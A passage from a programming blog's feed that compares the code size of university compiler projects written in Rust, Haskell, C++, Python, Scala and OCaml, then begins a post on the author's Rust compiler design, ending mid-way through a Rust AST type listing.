   <updated>2019-04-29T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/04/29/comparing-compilers-in-rust-haskell-c-and-python</id>
   <content type="html">
&lt;p&gt;During my final term at UWaterloo I took &lt;a href=&quot;https://www.student.cs.uwaterloo.ca/~cs444/&quot;&gt;the CS444 compilers class&lt;/a&gt; with a project to write a compiler from a substantial subset of Java to x86, in teams of up to three people with a language of the group’s choice. This was a rare opportunity to compare implementations of large programs that all did the same thing, written by friends I knew were highly competent, and have a fairly pure opportunity to see what difference design and language choices could make. I gained a lot of useful insights from this. It’s rare to encounter such a controlled comparison of languages, it’s not perfect but it’s much better than most anecdotes people use as the basis for their opinions on programming languages.&lt;/p&gt;

&lt;p&gt;We did our compiler in Rust and my first comparison was with a team that used Haskell, which I expected to be much terser, but their compiler used similar amounts or more code for the same task. The same was true for a team that used OCaml. I then compared with a team that used C++, and as expected their compiler was around 30% larger largely due to headers and lack of sum types and pattern matching. The next comparison was my friend who did a compiler on her own in Python and used less than half the code we did because of the power of metaprogramming and dynamic types. A friend whose team used Scala also had a smaller compiler than us. The comparison that surprised me most though was with another team that also used Rust, but used 3 times the code that we did, because of different design decisions. In the end, the largest difference in the amount of code required was within the same language!&lt;/p&gt;

&lt;p&gt;I’ll go over why I think this is a good comparison, some information on each project, and I’ll explain some of the sources of the differences in compiler size. I’ll also talk about what I learned from each comparison. Feel free to use these links to skip ahead to what interests you:&lt;/p&gt;

&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Why I think this is insightful&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#rust-baseline&quot;&gt;Rust (baseline)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#haskell&quot;&gt;Haskell&lt;/a&gt;: 1.0-1.6x the size depending on how you count for interesting reasons&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#c&quot;&gt;C++&lt;/a&gt;: 1.4x the size for mundane reasons&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#python&quot;&gt;Python&lt;/a&gt;: half the size because of fancy metaprogramming!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#rust-other-group&quot;&gt;Rust (other group)&lt;/a&gt;: 3x the size because of different design decisions!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#scala&quot;&gt;Scala&lt;/a&gt;: 0.7x the size&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ocaml&quot;&gt;OCaml&lt;/a&gt;: 1.0-1.6x the size depending on how you count, similar to Haskell&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;why-i-think-this-is-insightful&quot;&gt;Why I think this is insightful&lt;/h2&gt;

&lt;p&gt;Now before you reply that amount of code (I compared both lines and bytes) is a terrible metric, I think that it can provide a good amount of insight in this case for a number of reasons. This is at least subjectively the most well controlled instance of different teams writing the same &lt;em&gt;large&lt;/em&gt; program that I’ve ever heard of or read about.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Nobody (including me) knew I would ask this until after we were done, so nobody was trying to game the metric, everyone was just doing their best to finish the project quickly and correctly.&lt;/li&gt;
  &lt;li&gt;Everyone (with the exception of the Python project I’ll discuss later) was implementing a program with the sole goal of passing the same automated test suite by the same deadlines, so the results can’t be confounded much by some groups deciding to solve different/harder problems.&lt;/li&gt;
  &lt;li&gt;The project was done over a period of months, with a team, and needed to be gradually extended and pass both known and unknown tests. This means that it was helpful to write clean understandable code and not hack everything together.&lt;/li&gt;
  &lt;li&gt;Other than passing the course tests, the code wouldn’t be used for anything else, nobody would read it and being a compiler for a limited subset of Java to textual assembly it wouldn’t be useful.&lt;/li&gt;
  &lt;li&gt;No libraries other than the standard library were allowed, and no parsing helpers even if they’re in the standard library. This means the comparison can’t be confounded by powerful compiler libraries not used by all teams.&lt;/li&gt;
  &lt;li&gt;There were secret tests which we couldn’t see that were run once after the final submission deadline, which meant there was an incentive to write your own test code and make sure that your compiler was robust, correct and could handle tricky edge cases.&lt;/li&gt;
  &lt;li&gt;While everyone involved was a student, the teams I talk about are all composed of people I consider quite competent programmers. Everyone has at least 2 years of full time work experience doing internships, mostly at high end tech companies sometimes even working on compilers. Nearly all have been programming for 7-13 years and are enthusiasts who read a lot on the internet beyond their courses.&lt;/li&gt;
  &lt;li&gt;Generated code wasn’t counted, but grammar files and code that generated code was counted.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thus I think the amount of code provides a decent approximation of how much effort each project took, and how much there would be to maintain if it was a longer term project. I think the smaller differences are also large enough to rule out extraordinary claims, like the ones I’ve read that say writing a compiler in Haskell takes less than half the code of C++ by virtue of the language.&lt;/p&gt;

&lt;h2 id=&quot;rust-baseline&quot;&gt;Rust (baseline)&lt;/h2&gt;

&lt;p&gt;Me and one of my teammates had each written over 10k lines of Rust before, and my other teammate had written maybe 500 lines of Rust for some hackathon projects. Our compiler was 6806 lines by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wc -l&lt;/code&gt;, 5900 source lines of code (not including blanks and comments), and 220kb by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wc -c&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One thing I discovered is that these measures were related by approximately the same factors in the other projects where I checked, with minor exceptions that I’ll note. For the rest of the post when I refer to lines or amount I mean by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wc -l&lt;/code&gt;, but this result means it doesn’t really matter (unless I note a difference) and you can convert with a factor.&lt;/p&gt;

&lt;p&gt;I wrote &lt;a href=&quot;/2019/04/18/writing-a-compiler-in-rust/&quot;&gt;another post describing our design&lt;/a&gt;, which passed all the public and secret tests. It also included a few extra features that we did for fun and not to pass tests, that probably added around 400 extra lines. Also around 500 lines of our total was unit tests and a test harness.&lt;/p&gt;

&lt;h2 id=&quot;haskell&quot;&gt;Haskell&lt;/h2&gt;

&lt;p&gt;The Haskell team was composed of two of my friends who’d written maybe a couple thousand lines of Haskell each before plus reading lots of online Haskell content, and a bunch more in other similar functional languages like OCaml and Lean. They had one other teammate who I didn’t know well but seems like a strong programmer and had used Haskell before.&lt;/p&gt;

&lt;p&gt;Their compiler was 9750 lines by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wc -l&lt;/code&gt;, 357kb and 7777 SLOC. This team also had the only significant differences between measure ratios, with their compiler being 1.4x the lines, 1.3x the SLOC, and 1.6x the bytes. They didn’t implement any extra features but passed 100% of public and secret tests.&lt;/p&gt;

&lt;p&gt;It’s important to note that including the tests is the least fair to this team since they were the most thorough with correctness, with 1600 lines of tests, they caught a few edge cases that our team did not, they just happened to not be edge cases that were tested by the course tests. So not counting tests on both sides (8.1kloc vs 6.3kloc) their compiler was only 1.3x the raw lines.&lt;/p&gt;

&lt;p&gt;I also am inclined towards bytes as the more reasonable measure of amount of code here because the Haskell project has longer lines on average since it doesn’t have lots of lines dedicated to just a closing brace, and it’s one-liner function chains aren’t split onto a bunch of lines by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rustfmt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Digging into the difference in size with one of my friends on the team, we came up with the following to explain the difference:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We used a hand-written lexer and recursive descent parsing, where they used a &lt;a href=&quot;https://en.wikipedia.org/wiki/Nondeterministic_finite_automaton&quot;&gt;NFA&lt;/a&gt; to &lt;a href=&quot;https://en.wikipedia.org/wiki/Deterministic_finite_automaton&quot;&gt;DFA&lt;/a&gt; lexer generator, and an &lt;a href=&quot;https://en.wikipedia.org/wiki/LR_parser&quot;&gt;LR parser&lt;/a&gt; and then a pass to turn the parse tree into an AST (&lt;a href=&quot;https://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;Abstract Syntax Tree&lt;/a&gt;, a more convenient representation of the code). This took them substantially more code, 2677 lines compared to our 1705, for about an extra 1k lines.&lt;/li&gt;
  &lt;li&gt;They used a fancy generic AST type that transitioned to different type parameters as more information was added in each pass. This is and more helper functions for rewriting are probably why their AST code has about 500 lines more than our implementation where we build with struct literals and mutate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Option&amp;lt;_&amp;gt;&lt;/code&gt; fields to add information as passes progress.&lt;/li&gt;
  &lt;li&gt;They have about 400 more lines of code in their code generation that are mostly attributable to more abstraction necessary to generate and combine code in a purely functional way where we just use mutation and string writing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These differences plus the tests explain all of the difference in lines. In fact our files for middle passes like constant folding and scope resolution are very close to the same size. However that still leaves some difference in bytes because of longer average lines, which I’d guess is because they require more code to rewrite their whole tree at every pass where we just use a visitor with mutation.&lt;/p&gt;

&lt;p&gt;Bottom line, I’d say setting aside design decisions Rust and Haskell are similarly expressive, with maybe a slight edge to Rust because of ability to easily use mutation when it’s convenient. It was also interesting to learn that my choice to use a recursive descent parser and hand-written lexer paid off, this was a risk since it wasn’t what the professor recommended and taught but I figured it would be easier and was right.&lt;/p&gt;

&lt;p&gt;Haskell fans my object that this team probably didn’t use Haskell to its fullest potential and if they were better at Haskell they could have done the project with way less code. I believe that someone like &lt;a href=&quot;https://github.com/ekmett&quot;&gt;Edward Kmett&lt;/a&gt; could write the same compiler in substantially fewer lines of Haskell, in that my friend’s team didn’t use a lot of fancy super advanced abstractions, and weren’t allowed to use fancy combinator libraries like &lt;a href=&quot;http://hackage.haskell.org/package/lens&quot;&gt;lens&lt;/a&gt;. However, this would come at a cost to how difficult it would be to understand the compiler. The people on the team are all experienced programmers, they knew that Haskell can do extremely fancy things but chose not to pursue them because they figured it would take more time to figure them out than they would save and make their code harder for the teammates who didn’t write it to understand. This seems like a real tradeoff to me and the claim I’ve seen of Haskell being magical for compilers devolves into something like “Haskell has an extremely high skill cap for writing compilers as long as you don’t care about maintainability by people who aren’t also extremely skilled in Haskell” which is less generally applicable.&lt;/p&gt;

&lt;p&gt;Another interesting thing to note is that at the start of every offering of the course the professor says that students can use any language that can run on the school servers, but issues a warning that teams using Haskell have the highest variance in mark of any language, with many teams using Haskell overestimating their ability and crashing and burning then getting a terrible mark, more than any other language, while some Haskell teams do quite well and get perfect like my friends.&lt;/p&gt;

&lt;h2 id=&quot;c&quot;&gt;C++&lt;/h2&gt;

&lt;p&gt;Next I talked to my friend who was on a team using C++, I only knew one person on this team, but C++ is used in multiple courses at UWaterloo so presumably everyone on the team had C++ experience.&lt;/p&gt;

&lt;p&gt;Their project was 8733 raw lines and 280kb not including test code but including around 500 lines of extra features. Making it 1.4x the size of our non-test code that also had around 500 lines of extra features. They passed 100% of public tests but only passed 90% of secret tests, presumably because they didn’t implement the fancy array vtables required by the spec, which take maybe 50-100 lines of code.&lt;/p&gt;

&lt;p&gt;I didn’t dig very deeply into these differences with my friend. I speculate that it’s mostly explained by:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Them using an LR parser and tree rewriter instead of a recursive descent parser&lt;/li&gt;
  &lt;li&gt;The lack of sum types and pattern matching in C++, which we used extensively and were very helpful.&lt;/li&gt;
  &lt;li&gt;Needing to duplicate all the signatures in header files, which Rust doesn’t have.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Another thing we compared was compile times. On my laptop our compiler takes 9.7s for a clean debug build, 12.5s for clean release, and 3.5s for incremental debug. My friend didn’t have timings on hand for their C++ build (using parallel make) but said those sounded quite similar to his experience, with the caveat that they put the implementations of a bunch of small functions in header files to save the signature duplication at the cost of longer times (this is also why I can’t measure the pure header file line count overhead).&lt;/p&gt;

&lt;h2 id=&quot;python&quot;&gt;Python&lt;/h2&gt;

&lt;p&gt;I have one friend who is an extraordinarily good programmer who chose to do the project alone and in Python. She also implemented more extra features (for fun) than any other team including an SSA intermediate representation with register allocation and other optimizations. On the other hand because she was working alone and implementing a bunch of extra features, she dedicated the least effort to code quality, for example by throwing an undifferentiated exception for all errors (relying on backtraces for debugging) instead of having error types and messages like we did.&lt;/p&gt;

&lt;p&gt;Her compiler was 4581 raw lines and passed all public and secret tests. She also implemented way more extra features than any other team I compare with, but it’s hard to determine how extra code that took because many of her extra features were more powerful versions of simple things everyone needed to implement like constant folding and code generation. The extra features probably account for 1000-2000 lines at least though, so I’m confident her code was at least twice as expressive as ours.&lt;/p&gt;

&lt;p&gt;One large part of this difference is likely dynamic typing. Our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ast.rs&lt;/code&gt; alone has 500 lines of type definitions, and there are many more types defined throughout our compiler. We also are always constrained in what we do by the type system. For example we need infrastructure for ergonomically adding new info to our AST as it progresses through passes and accessing that later. Whereas in Python you can just set new fields on your AST nodes.&lt;/p&gt;

&lt;p&gt;Powerful metaprogramming also explains part of the difference. For example although she used an LR parser instead of a recursive descent parser, in her case I think it needed less code, because instead of a tree rewriting pass, her LR grammar included Python code snippets to construct the AST, which the generator could turn into Python functions using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;. Part of the reason we didn’t use an LR parser is because constructing an AST without a tree rewriting pass would require a lot of ceremony (either generating Rust files or procedural macros) to tie the grammar to snippets of Rust code.&lt;/p&gt;

&lt;p&gt;Another example of the power of metaprogramming and dynamic typing is that we have a 400 line file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;visit.rs&lt;/code&gt; that is mostly repetitive boilerplate code implementing a visitor on a bunch of AST structures. In Python this could be a short ~10 line function that recursively introspects on the fields of the AST node and visits them (using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__dict__&lt;/code&gt; attribute).&lt;/p&gt;

&lt;p&gt;As a fan of Rust and statically typed languages in general I’m inclined to point out that the type system is very helpful for avoiding bugs and for performance. Fancy metaprogramming can also make it more difficult to understand how code works. However, this comparison surprised me in that I hadn’t expected the difference in the amount of code to be quite so large. If the difference in general is really close to needing to write twice the amount of code, I still think Rust is worth the tradeoff, but 2x is nothing to sneeze at and in the future I’ll be more inclined to hack something together in Ruby/Python if I just need to get it done quickly without a team and then throw it away after.&lt;/p&gt;

&lt;h2 id=&quot;rust-other-group&quot;&gt;Rust (other group)&lt;/h2&gt;

&lt;p&gt;The last comparison I did and also the most interesting to me was with my friend who did the project in Rust with one teammate (who I didn’t know). My friend had a good amount of Rust experience having contributed to the Rust compiler and done lots of reading, I don’t know about his teammate.&lt;/p&gt;

&lt;p&gt;Their project was 17,211 raw lines, 15k source lines, and 637kb not including test code and generated code. It had no extra features and passed only 4/10 secret tests and 90% of the public code generation tests, because they didn’t find the time before the final deadline to implement fancier pieces of the spec. This is 3 times the size of our compiler written in the same language, but with strictly less functionality!&lt;/p&gt;

&lt;p&gt;This result was really surprising to me and dwarfed all the between-language differences I had investigated thus far. So we compared &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wc -l&lt;/code&gt; file size listings, as well as spot checking how we each implemented some specific things that had very different code sizes.&lt;/p&gt;

&lt;p&gt;It seems to come down to consistently making different design decisions. For example, their front end (lexing, parsing, AST building) is 7597 raw lines to our 2164. They used a DFA-based lexer and LALR(1) parser, but the other groups did similar things without as much code. Looking at their weeder file, I noticed a number of different design decisions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;They chose to use a fully typed parse tree instead of the standard string-based homogeneous parse tree. This presumably required a lot more type definitions and additional transformation code in the parsing stage or a more complex parser generator.&lt;/li&gt;
  &lt;li&gt;They used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TryFrom&lt;/code&gt; trait implementations for converting between the parse tree types and the AST types while validating their correctness. This lead to tons of 10-20 line &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impl&lt;/code&gt; blocks. We used functions that returned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Result&lt;/code&gt; types to accomplish the same thing, which had less line overhead and also freed us from the type structure a bit more, making parameters and re-use easier. Some things that for us were single line &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;match&lt;/code&gt; branches were 10 line impl statements for them.&lt;/li&gt;
  &lt;li&gt;Our types were structured in a way that required less copy-pasting. For example they used separate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_abstract&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_native&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_static&lt;/code&gt; fields whose constraint checking code needed to be copy-pasted twice, once for their void-typed methods and once for their methods with a return type, with slight modifications. Whereas for us &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void&lt;/code&gt; was just a special type, and we came up with a taxonomy of modifiers into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mode&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;visibility&lt;/code&gt; enums that enforced the constraints at the type level and constraint errors were generated in the default case of the match statement that translated the modifier sets to the mode and visibility.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I didn’t look at the code of the analysis passes of their compiler, but they are similarly large. I talked to my friend and it seems they didn’t implement anything like the visitor infrastructure that we did. I’m guessing this along with some other smaller design differences account for the size difference of this part. The visitor allowed our analysis passes to only pay attention to the parts of the AST they needed instead of having to pattern match down through the entire AST structure, saving a lot of code.&lt;/p&gt;

&lt;p&gt;Their code generation is 3594 lines where ours is 1560. I looked at their code for this and it seems that nearly all of the difference is that they chose to have an intermediate data structure for assembly instructions, where we just used string formatting to directly output assembly. This required defining types and output functions for all the instructions and operand types they used. It also meant that constructing assembly instructions took way more code, where we might have a formatting statement that used terse instructions like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ecx, [edx]&lt;/code&gt;, they needed a giant statement &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rustfmt&lt;/code&gt; split over 6 lines which constructed the instruction with a bunch of intermediate nested types for the operands involving 6 levels of nested parentheses at its deepest. We could also output blocks of related instructions like a function preamble in one formatting statement, where they had to do the full construction for each instruction.&lt;/p&gt;

&lt;p&gt;Our team considered using such an abstraction. It would make it easier to have the option of either outputting textual assembly or directly emitting machine code, however that wasn’t a requirement of the course. The same thing could also be accomplished with less code and better performance using an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X86Writer&lt;/code&gt; trait with methods like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push(reg: Register)&lt;/code&gt;. Another angle we considered was that it might make debugging and testing easier, but we realized that looking at the generated textual assembly would actually be easier to read and test with &lt;a href=&quot;https://docs.rs/insta/0.8.1/insta/&quot;&gt;snapshot testing&lt;/a&gt; as long as we inserted comments liberally. But we (apparently correctly) predicted that it would take a lot of extra code, and there wasn’t any real benefit given what we knew we were going to need, so we didn’t bother.&lt;/p&gt;

&lt;p&gt;A good comparison is with the intermediate representation the C++ group used as an extra feature, which only took them closer to 500 extra lines. They used a very simple structure (making for simple type definitions and construction code) that used operations close to what Java required. This meant that their IR was much smaller (and thus required less construction code) than the resulting assembly, since many language operations like calls and casts expanded into many assembly instructions. They also say it really helped debugging since it cut out a lot of the cruft and was easy to read. The higher level representation also allowed them to do some simple optimizations on their IR. The C++ team came up with a really nice design which got them much more benefit with much less code.&lt;/p&gt;

&lt;p&gt;Overall it seems like the overall 3x size multiplier is due to consistently making different design decisions both large and small in the direction of larger code. They implemented a number of abstractions that we didn’t which added more code, and missed out on some of the abstractions we implemented which lead to less code.&lt;/p&gt;

&lt;p&gt;This result really surprised me, I knew design decisions mattered but I wouldn’t have guessed beforehand that they would lead to any differences this large, given that I was only surveying people that I consider strong competent programmers. Of all the results from this comparison, this is the one I learned the most from. Something that I think helped was that I had read a lot about how to write compilers before I took the course, so I could take advantage of clever designs other people had come up with and found worked well like AST visitors and recursive descent parsing even when they weren’t taught in the course.&lt;/p&gt;

&lt;p&gt;One thing this really made me think about is the cost of abstraction. Abstractions may make things easier to extend in the future, or guard against certain types of errors, but they need to be considered against the fact that you may end up with 3 times the amount of code to understand and refactor, 3 times the amount of possible locations for bugs and less time left to spend on testing and further development. Our course was unlike the real world in that we knew exactly what we needed to implement and that we’d never touch the code afterwards, which eliminates the benefits of pre-emptive abstraction. However if you were going to challenge me to extend a compiler with an arbitrary feature you’d tell me later, and I had to pick which compiler I’d start from, I’d choose ours even setting aside familiarity. Because there’d simply be much less code that I’d need to understand how to change, and I could potentially choose a better abstraction for the requirements (like the C++ team’s IR) once I knew how I needed to extend things.&lt;/p&gt;

&lt;p&gt;It also solidified the taxonomy in my head of abstractions that you expect to remove code given only your current requirements, like our visitor pattern, and abstractions you expect to add code given only your immediate requirements, but that may provide extensibility, debuggability or correctness benefits.&lt;/p&gt;

&lt;h2 id=&quot;scala&quot;&gt;Scala&lt;/h2&gt;

&lt;p&gt;I also talked to a friend of mine who did the project in a previous term using Scala, but the project and tests were the exact same ones. Their compiler was 4141 raw lines and ~160kb of code not counting tests. They passed 8/10 secret tests and 100% of public tests and didn’t implement any extra features. So comparing with our 5906 lines without extra features and tests, their compiler is 0.7x the size.&lt;/p&gt;

&lt;p&gt;One design factor in their low line count was that they used a different approach to parsing. The course allowed you to use a command line LR table generator tool that the course provided, which this team used but no other team I mention did. This saved them having to implement an LR table generator. They also managed to avoid writing the LR grammar using a 150 line Python script which scraped a Java grammar web page they found online and translated it into the input format of the generator tool. They still needed to do some tree building in Scala but overall their parsing stage came in at 1073 lines to our 1443, where most other teams use of LR parsing lead to larger parsers than our recursive descent one.&lt;/p&gt;

&lt;p&gt;The rest of their compiler was similarly smaller than ours though without any obvious large design differences, although I didn’t dig into the code. I suspect this is probably due to differences in expressiveness between Scala and Rust. Scala and Rust have similar functional programming features helpful for compilers, like pattern matching, but Scala’s managed memory saves on code required to make the Rust borrow checker happy. Scala also has more miscellaneous syntactic sugar than Rust.&lt;/p&gt;

&lt;h2 id=&quot;ocaml&quot;&gt;OCaml&lt;/h2&gt;

&lt;p&gt;Since my team had all interned at &lt;a href=&quot;https://www.janestreet.com/&quot;&gt;Jane Street&lt;/a&gt; the other language we considered using was OCaml, we decided on Rust but I was curious about how OCaml might have turned out so I talked to someone else I knew had interned at Jane Street and they indeed did their compiler in OCaml with two other former Jane Street interns.&lt;/p&gt;

&lt;p&gt;Their compiler was 10914 raw lines and 377kb including a small amount of test code and no extra features. They passed 9/10 secret tests and all public tests.&lt;/p&gt;

&lt;p&gt;Like other groups it looks like a lot of the size difference is due to them using an LR parser generator and tree rewriting for parsing, as well as a regex-&amp;gt;NFA-&amp;gt;DFA conversion pipeline for lexing. Their front-end (lexing+parsing+AST construction) is 5548 lines where ours is 2164, with similar ratios for bytes. They also used &lt;a href=&quot;https://blog.janestreet.com/testing-with-expectations/&quot;&gt;expect tests&lt;/a&gt; for their parser where we used similar snapshot tests that put the expected output outside the code, so their parser tests were ~600 lines of that total where ours were ~200.&lt;/p&gt;

&lt;p&gt;That leaves 5366 lines (461 lines of which is interface files with just type declarations) for the rest of their compiler and 4642 for ours, only 1.15x larger if you count interface files and basically the same size if you don’t count them. So it looks like setting aside our parsing design decisions, Rust and OCaml seem similarly expressive except that OCaml needs interface files and Rust doesn’t.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Overall I’m very glad I did this comparison, I learned a lot from it and was surprised many times. I think my overall takeaway is that design decisions make a much larger difference than the language, but the language matters insofar as it gives you the tools to implement different designs.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Writing a Compiler in Rust</title>
   <link href="https://thume.ca/2019/04/18/writing-a-compiler-in-rust/"/>
   <updated>2019-04-18T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/04/18/writing-a-compiler-in-rust</id>
   <content type="html">
&lt;p&gt;During my final term at UWaterloo I took &lt;a href=&quot;https://www.student.cs.uwaterloo.ca/~cs444/&quot;&gt;the CS444 compilers class&lt;/a&gt; with a project to write a compiler from a substantial subset of Java to x86, with a language and two teammates of your choice. My group of three chose to write our compiler in Rust and it was a fun experience. We spent time coming to design decisions that worked out really well and used Rust’s strengths. Our compiler ended up being around 6800 lines of Rust and I personally put in around 60 hours of solid coding and more on code review and design. In this post I’ll go over some of the design decisions we made and some thoughts on what it was like using Rust.&lt;/p&gt;

&lt;h2 id=&quot;lexing-and-parsing&quot;&gt;Lexing and Parsing&lt;/h2&gt;

&lt;p&gt;The lectures for the course recommended writing an NFA to DFA compiler to implement the lexer, and writing an &lt;a href=&quot;https://en.wikipedia.org/wiki/Canonical_LR_parser&quot;&gt;LR(1)&lt;/a&gt; parser generator for the parser, then having a separate “weeding” pass to construct a final AST (&lt;a href=&quot;https://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;Abstract Syntax Tree&lt;/a&gt;) and validate it in various ways.&lt;/p&gt;

&lt;p&gt;I suggested that we should try using a hand-written lexer and recursive descent parser instead, and my teammates agreed. A recursive descent parser allowed us to put all the code to parse, validate, and create the AST node in one place. We figured writing a pass to rewrite and validate the raw parse tree into a strongly typed AST would be about as much code as a recursive descent parser, except with the additional work of having to implement an LR(1) parser generator.&lt;/p&gt;

&lt;p&gt;The AST we produced made good use of Rust’s type system, including extensive use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enum&lt;/code&gt; sum types to handle variants of types, expressions and statements. We also used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Option&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vec&lt;/code&gt; extensively, as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Box&lt;/code&gt; to allow type recursion. Our AST types looked like this:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// We preserve source span information using a `Spanned` struct&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Spanned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeKind&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[derive(Clone,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;Debug,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;PartialEq,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;Eq,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;Hash)]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TypeKind&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Box&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[derive(Clone,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;Debug)]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;InterfaceDecl&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extends&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeRef&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
